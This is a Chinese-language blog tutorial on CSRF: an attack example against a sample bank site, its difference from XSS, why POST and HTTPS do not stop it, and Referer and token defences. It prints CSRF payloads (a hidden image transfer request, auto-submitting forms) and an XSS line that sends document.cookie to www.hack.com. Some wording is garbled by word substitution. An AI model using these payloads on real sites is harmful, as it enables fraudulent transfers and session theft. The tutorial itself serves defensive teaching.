CSRF理解与防护

1、说明

记得之前去面试技术也不太会但你总得讲点东西,让面试时间长一些让面试官以为你基础还能够,当时选的就是名头比较大的OWASP TOP 10。TOP 10嘛你总得拿出至少三个点来说的细一些以证实你是真的知道而不是背概念。前端

纵观TOP 10 注入和XSS是比较有把握的,其余什么“失效的认证和会话管理”、“不安全的对象直接引用”,因为当时没有实际的生产环境攻击和防御经验理解不了其所说的概念和影响,感受好几个概念感受意思差很少面试官若是问区别那不愿定讲不清了。权衡之下就要锁定在同是技术问题的CSRF上。web

而同时选择XSS和CSRF你就不得不面对解释这二者有何区别的问题。到如今这个问题仍然是web攻防文章和书藉都要谈的问题,用得最多的讲得最清楚的大概是德丸浩《Web应用安全权威指南》那样,七八个箭头箭来箭去,XSS第一步是第二步是而CSRF第一步是第二步是。看的时候以为挺清楚,看完要本身去说区别作防御仍是感受彻底不懂。也所以想来写写本身的理解。面试

 

2、CSRF定义

CSRF,英文全称Cross Site Request Forgery,中文名跨站请求伪造。OWASP Top 10 2010排A5,OWASP Top 10 2013排A8,OWASP Top 10 2017没排进。后端

 

3、CSRF利用形式

咱们借用OWASP Top 10 2013给出的例子。浏览器

首先,用户登陆了没有CSRF防御的www.bank.com。该网站有一个转帐连接http://www.bank.com/transferFunds?amount=money&destinationAccount=account_id安全

而后,用户又访问了攻击者发送过来的连接好比叫http://www.hack.com/csrf_attack。该页面具备如下关键代码<img src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“ width="0" height="0" />cookie

最后,浏览器自动请求src指向的连接http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789,因为请求的是www.bank.com因此浏览器会自动带上www.bank.com的cookie。连接+登陆cookie都已具有,www.bank.com并无其余检查,因此向123456789转帐1500块的请求就会被成功响应。session

 

4、CSRF与XSS的区别

从漏洞存在的位置上(CSRF存在于全部请求-响应模式的功能上,XSS存在于将用户输入回显前端web页面的位置上),从攻击效果上(CSRF主要是执行网站自身已有功能,XSS主要是用于获取Cookie)都有区别。app

但对于初学者最直接的仍是利用角度。当时面试说的是CSRF是利用B网站攻击A网站,XSS(反射型)是将A网站的Cookie发到B网站,这理解是没错的。这里再举个例子更具象化地说明:前后端分离

攻击 攻击连接示例 说明
CSRF

http://www.hack.com/csrf_page(页面中含src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“)

发送的是hack网站的页面,目标是bank网站页面
XSS

http://www.bank.com/xss_page?xss_parameter='><script>document.location='http://www.hack.com/save_cookie?cookie='+document.cookie</script>'

发送的是bank网站的页面,目标是hack网站页面

 

 

 

 

 

5、CSRF的防护

从前面CSRF利用形式能够看到,CSRF的关键点是浏览器自动带上了bank的Cookie访问bank的连接,这是浏览器须要的机制应用是没法阻止的。因此CSRF防范的立足点应该是,面对发过来的数据包如何识别是经过本网站点击连接发过来的数据包,仍是其余网站发来的数据访问数据包。

5.1 错误的CSRF防护办法

有时咱们会想固然地认为某些方法能够防护CSRF,为了不踩坑,这里先来介绍两种典型的错误防护方式。

5.1.1 使用post方式防护CSRF

在前面使用的CSRF攻击示例中,攻击载荷是<img src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“ width="0" height="0" />,其余教程为了简单使用的也是get方式的示例,因此是否是若是个人请求限定是form表单post的,那是否是就能够防护CSRF了呢?

答案是否认的。咱们彻底能够把攻击载荷换成如下post形式的攻击代码:

<body onload="document.forms[0].submit()">
    <form action="http://www.bank.com/transferFunds" method="POST">
        <input type="hidden" name="amount" value="1500">
        <input type="hidden" name="destinationAccount" value="123456789">
    </form>
</body>

 

5.1.2 使用https防护CSRF

https是加密码,攻击者没法修改其内容,网站使用https是否能够防护CSRF呢?

答案也是否认的。认为https有助于防护CSRF是没很好地理解"https=http层+ssl层",https的封装过程是http层内容交给ssl层,ssl层封装完再交给传输层如此下去。CSRF是在http层设置内容,ssl如何防止得了csrf呢。咱们攻击载荷改为以下形式也彻底能够正确请求(http改为了https):

<body onload="document.forms[0].submit()">
    <form action="https://www.bank.com/transferFunds" method="POST">
        <input type="hidden" name="amount" value="1500">
        <input type="hidden" name="destinationAccount" value="123456789">
    </form>
</body>

 

5.2 正确的CSRF防护办法

5.2.1 Referer头检测法

Referer标识当前请求的来源页面,浏览器访问时除了自动带上Cookie还会自动带上Referer,因此服务端能够检测Referer头是否本网站页面来决定是否响应请求。

Referer是浏览器自动带上的,基于认为浏览器没有相关漏洞的前提下,咱们能够认为攻击者是无法伪造Referer头的,也就是检测Referer头的方法是可靠的。

但该方式有时会不受承认,一是由于浏览器是能够设置禁止发送Referer头的,若是使用该方式那么禁止Referer头的浏览将没法正常使用,这可能会下降用户使用体验。二是由于因为移动端的崛起当下流行先后端分离app和web共用一套后端代码,但app是不会自动带Referer头的,若是使用该方式app端很差处理。

 

5.2.2 token检测法

token就是服务端返回给客户端相似sessionid那样一长串的类值(长是为了防暴力猜解)。csrf依赖于浏览器该问连接时自动对应网站的cookie带上,token不放cookie(通常form表单加个hidden属性的input标签来存放)csrf就无法获取token,这样咱们就能够经过检测发送过来的数据包中是否有正确的token值来决定是否响应请求。

在讲清token防护的原理后,咱们再来说token的设计,由于token方式给人的感受很复杂使人望而生畏。

咱们首先明确一个问题,就是可以防止csrf攻击的token,并不须要每次请求都不同,在用户登陆后到退出前的这整个过程当中的全部请求token彻底能够是同样。由于(在基于没有其余漏洞会泄漏本次会话的token的设想下)黑客是没法获取用户的tokne,因此又何须每一个请求都要生成一个新的token呢。(token每次请求都要不同的想法是受防重放攻击的影响)只考滤防csrf不考滤防重放的状况下,token设计就简单多了。

使用sessionid做为token设计:在csrf中cookie是浏览器本身带上的,本质而言用户的sessionid并未丢失(也就是攻击者并不能知道sessionid是多少),基于此咱们彻底能够不用另传一个值只需直接将sessionid做为token便可(或者也能够作些运算好比取sessionid的某些值作个md5来作为token,意思都差很少)。判断代码相似 if session["id"] == $_POST["token"]

与sessionid同时返回的token设计:在生成sessionid的同时生成一个token(服务端token能够存于session变量中)返回给客户端,客户端保存该token每次请求时都在form表单中提交该值。判断代码相似if session["token"] == $_POST["token"]

 

参考:

德丸浩-《Web应用安全权威指南》

https://www.owasp.org/images/f/f8/OWASP_Top_10_-_2013.pdf

相关文章
相关标签/搜索